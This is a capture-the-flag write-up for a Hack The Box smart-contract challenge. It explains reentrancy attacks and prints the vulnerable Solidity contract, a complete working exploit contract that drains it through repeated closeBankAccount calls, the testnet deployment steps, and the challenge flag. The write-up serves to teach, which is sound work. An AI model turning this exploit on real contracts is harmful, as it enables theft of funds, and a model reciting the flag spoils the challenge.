Tag List
Sign In

moneyHeist

moneyHeist

❗️Challenge

The Royal Mint of Spain has just called, all their money's gone.
It seems to be coming from their new credit card system linked to
the blockchain. Can you investigate and replicate the exploit?
They just deployed a test contract for you, steal the ether they
stored on it!

We are given the source code for a smart contract on the Ethereum blockchain, and the address where it has been deployed. The goal is to empty the balance and then request the flag from the challenge site using the Check Flag button.

Challenge page
Top of the challenge page Bottom of the challenge page

The contract address: 0x396D73A08F112e67dd89245707BbDc00dCFA24F7 and the full code snippet is below:

pragma solidity ^0.6.0;
import "./SafeMath.sol";

contract moneyHeist {
    using SafeMath for uint256;
    mapping(address => uint256) private bankRobberAccount;
    mapping(address => bool) private accountAlreadyExists;
    mapping(address => bool) private hasAlreadyWithdrawn;
    mapping(address => bool) private isAccountActive;
    mapping(address => bool) private inWithdrawalProcess;
    uint256 public possibleWithdrawalPerDay;

    constructor() public payable {
        possibleWithdrawalPerDay = 0.001 ether;
        bankRobberAccount[address(this)] = msg.value;
    }

    function createNewAccount() public payable {
        require(accountAlreadyExists[msg.sender] == false);
        bankRobberAccount[msg.sender] = msg.value;
        hasAlreadyWithdrawn[msg.sender] = false;
        isAccountActive[msg.sender] = true;
        accountAlreadyExists[msg.sender] = true;
    }

    function checkAccountBalance(address accountAddress)
        public
        view
        returns (uint256)
    {
        return bankRobberAccount[accountAddress];
    }

    function fundsMovementProcess(
        address sourceAddress,
        address destinationAddress,
        uint256 transferAmount,
        uint8 transferType
    ) public {
        require(inWithdrawalProcess[msg.sender] == true);
        if (transferType == 1) {
            bankRobberAccount[destinationAddress] = bankRobberAccount[destinationAddress]
                .sub(transferAmount);
        } else if (transferType == 2) {
            bankRobberAccount[destinationAddress] = bankRobberAccount[destinationAddress]
                .add(transferAmount);
            bankRobberAccount[sourceAddress] = bankRobberAccount[sourceAddress]
                .sub(transferAmount);
        } else {
            revert();
        }
    }

    function transferBetweenAccounts(
        address destinationAddress,
        uint256 transferAmount
    ) public {
        require(
            isAccountActive[msg.sender] == true &&
                isAccountActive[destinationAddress] == true
        );
        require(bankRobberAccount[msg.sender] >= transferAmount);
        inWithdrawalProcess[msg.sender] = true;
        fundsMovementProcess(msg.sender, destinationAddress, transferAmount, 2);
        inWithdrawalProcess[msg.sender] = false;
    }

    function dailyWithdrawalRequest(uint256 transferAmount) public {
        require(transferAmount <= possibleWithdrawalPerDay);
        require(bankRobberAccount[msg.sender] >= transferAmount);
        require(isAccountActive[msg.sender] == true);
        require(hasAlreadyWithdrawn[msg.sender] == false);
        inWithdrawalProcess[msg.sender] = true;
        (bool isSuccessfulTransfer, ) = msg.sender.call.value(transferAmount)(
            ""
        );
        require(isSuccessfulTransfer);
        fundsMovementProcess(address(this), msg.sender, transferAmount, 1);
        hasAlreadyWithdrawn[msg.sender] = true;
        inWithdrawalProcess[msg.sender] = false;
    }

    function closeBankAccount() public {
        require(isAccountActive[msg.sender] == true);
        (bool isSuccessfulTransfer, ) = msg.sender.call.value(
            bankRobberAccount[msg.sender]
        )("");
        require(isSuccessfulTransfer);
        bankRobberAccount[msg.sender] = 0;
        isAccountActive[msg.sender] = false;
    }
}

We can find the contract deployed on the Ropsten testnet at the address provided using Etherscan.io. We see that the contract has a balance of 0.01 Ether.

moneyHeist contract balance is 0.01 Ether

🕵️ Research

As this was the first blockchain challenge I had attempted, I did some research to try to find some common vulnerabilities in smart contracts. The first Google search result was really helpful documentation for developers on “best practices”.

Google search results for smart contract vulnerabilities

Here I read about the “reentrancy” attack type, where an attacker can take over the control flow and put the contract in a state the developer never intended. The most simple form of this is “reentrancy on a single function”, where the attacker exploits the contract by recursively calling a function.

On June 17th 2016, the DAO was hacked and 3.6 million Ether ($50 Million) were stolen using in first reentrancy attack. Both of the major bugs which led to the DAO's collapse were bugs of this type.

🔁 Reentrancy attacks

When currency is sent to a contract code can be executed, by design. This means that when a smart contract sends currency to another contract, it is calling an external contract. The external contract now has an opportunity to execute its own code before returning control flow back to the original contract.

Below is an example, taken from ConsenSys, of some vulnerable withdrawal code.

// Example smart contract
mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    (bool success, ) = msg.sender.call.value(amountToWithdraw)("");
    require(success);
    userBalances[msg.sender] = 0;
}

The withdrawBalance function transfers amountToWithdraw of currency to the user by executing msg.sender.call.value with the amount. Here, control flow is handed over to the user as we can execute whatever code we like when we receive currency. This is by design - contracts can execute their own code when they receive currency by specifying a fallback method.

// Contract fallback function
fallback () external payable {
    // code here is executed
}

The fallback function in a contract is executed when currency is received. We can use this to our advantage to execute withdrawBalance again from within our fallback function, before the userBalances map in the bank contract has been updated to set our balance to zero.

// Exploit snippet
fallback () external payable {
    // if the other contract has any money more to send us...
    if (msg.sender.balance >= msg.value) {
        // call withdraw again!
        Bank(msg.sender).withdrawBalance();
    }
}

🤔 Back to the challenge

Looking back to the moneyHeist code we have been given in the challenge, we can start to look for where the reentrancy attack might be possible. We should look for places where msg.sender.call.value is called as this is where we can execute our own code.

function dailyWithdrawalRequest(uint256 transferAmount) public {
    require(transferAmount <= possibleWithdrawalPerDay);
    require(bankRobberAccount[msg.sender] >= transferAmount);
    require(isAccountActive[msg.sender] == true);
    require(hasAlreadyWithdrawn[msg.sender] == false);
    inWithdrawalProcess[msg.sender] = true;
    (bool isSuccessfulTransfer, ) = msg.sender.call.value(transferAmount)(
        ""
    );
    require(isSuccessfulTransfer);
    fundsMovementProcess(address(this), msg.sender, transferAmount, 1);
    hasAlreadyWithdrawn[msg.sender] = true;
    inWithdrawalProcess[msg.sender] = false;
}

The first call we see is in the dailyWithdrawalRequest method. However, we soon notice that this function can't be exploited with re-entrancy because of the later call to fundsMovementProcess.

function fundsMovementProcess(
    address sourceAddress,
    address destinationAddress,
    uint256 transferAmount,
    uint8 transferType
) public {
    require(inWithdrawalProcess[msg.sender] == true); // <-- this prevents our attack!
    ...
}

We could call dailyWithdrawalRequest multiple times, but after the program exits dailyWithdrawalRequest for the first time inWithdrawalProcess would be set to false, dailyWithdrawalRequest would return and the next require check would fail, reverting our transaction.

However, there is one other place in the contract where currency is transferred.

function closeBankAccount() public {
    require(isAccountActive[msg.sender] == true);
    (bool isSuccessfulTransfer, ) = msg.sender.call.value(
        bankRobberAccount[msg.sender]
    )("");
    require(isSuccessfulTransfer);
    bankRobberAccount[msg.sender] = 0;
    isAccountActive[msg.sender] = false;
}

The closeBankAccount function does not perform any checks after calling our external code and it only updates the state afterwards! This is perfect for our attack.

🛠 Setting up our dev environment

If you haven't worked with challenges on the blockchain before, there is a little bit of setup you'll need to do first.

🦊 MetaMask

Since this challenge takes place on the blockchain, you will need to be able to deploy your own contracts and create transactions. You can do this using the MetaMask browser extension! Create a new account in MetaMask and switch to the Ropsten network (this is very important). You can use the MetaMask faucet to get some Ether for testing and deploying contracts.

Faucet Balance
The MetaMask faucet My wallet balance now contains 5 Ether for testing

Remix IDE

Next we can open the Remix Ethereum IDE to start writing and deploying contracts. In Remix make sure to switch the environment to Injected Web3 to use your MetaMask client for making transactions on the network. Create files for moneyHeist.sol, SafeMath.sol (a maths library used by lots of smart contracts which handles overflows) and our exploit moneyExploit.sol. You can get the source code for SafeMath here.

🧑‍💻 Developing our exploit

Our exploit is pretty simple now that we have an understanding of how reentrancy attacks work. First we need to create an account in the moneyHeist contract and add some funds. Then we can call closeBankAccount multiple times until we have drained the bank of all of its Ether.

pragma solidity ^0.6.0;
import "./moneyHeist.sol";

contract moneyExploit {
    address private _owner;

    constructor () public {
        // store the address of the creator of the contract, the "owner"
        _owner = msg.sender;
    }

    function execute(address heistAddress) public payable {
        require(msg.sender == _owner);

        moneyHeist heist = moneyHeist(heistAddress);
        
        // create a new account using the currency in this function call
        heist.createNewAccount.value(msg.value)();

        // start the attack by closing the account
        heist.closeBankAccount();
    }

    fallback () external payable {
        // if the bank has any more money, close the account again
        if (msg.sender.balance >= msg.value) {
            moneyHeist(msg.sender).closeBankAccount();
        }
    }

    function drain() public {
        // check that the caller is the owner
        require(msg.sender == _owner);

        // self destruct, sending all of our earnings to the owner
        selfdestruct(msg.sender);
    }
}

In the moneyExploit code above, calling execute with the address of the moneyHeist contract will start our attack. The withdrawal begins and each time the bank sends currency to us, the fallback method is executed. We have to check that the moneyHeist contract has funds to send us, otherwise requesting to close the bank account again would cause our attack to fail. If its balance is higher than the amount we have in our account, we call closeBankAccount again. This repeats until we have collected all of the funds from the bank. 🤯

After this is all complete, we can use the drain method if we'd like to transfer the money to our own wallet. 🤑

💥 Using the exploit

First deploy the exploit contract on the Ropsten test network.

Remix IDE MetaMask transaction
Remix IDE after deploying the contract The MetaMask transaction confirmation screen for deploying the contract

Next we start our attack by sending some currency to the execute function!

Make sure to send exactly the right amount to cleanly empty the contract's balance or you might have issues. Since the contract contains 0.01 Ether, you should send 0.01, 0.005 or 0.001 as these divide 0.01 to a whole number (each iteration of closeBankAccount withdraws this much from the contract).

Transaction value Address parameter
Set the transaction value to 0.01 Ether Set the moneyHeist address in the field next to the execute button

Set the transaction value, copy the moneyHeist contract address into the field, and then press execute. After confirming the transaction in MetaMask, a few moments later the transaction will be processed and our contract will be executed.

Etherscan MetaMask transaction
Etherscan showing the successful transaction The MetaMask transaction confirmation screen for executing our contract

As you can see here, three transfers took place. The first was our contract sending 0.01 Ether to moneyHeist, but the following two were withdrawals from the contract. Our exploit worked!

The moneyHeist contract balance is now 0 Ether

As you can see on Etherscan the contract now contains no Ether. Our contract on the other hand contains 0.02 Ether. 😎

🚩 Claiming the flag

To complete the challenge, we head back to the web page and click the Check Flag button. It gives us the flag: HTB{Th3_D4ng3R_0f_Re3nTr4ncY}.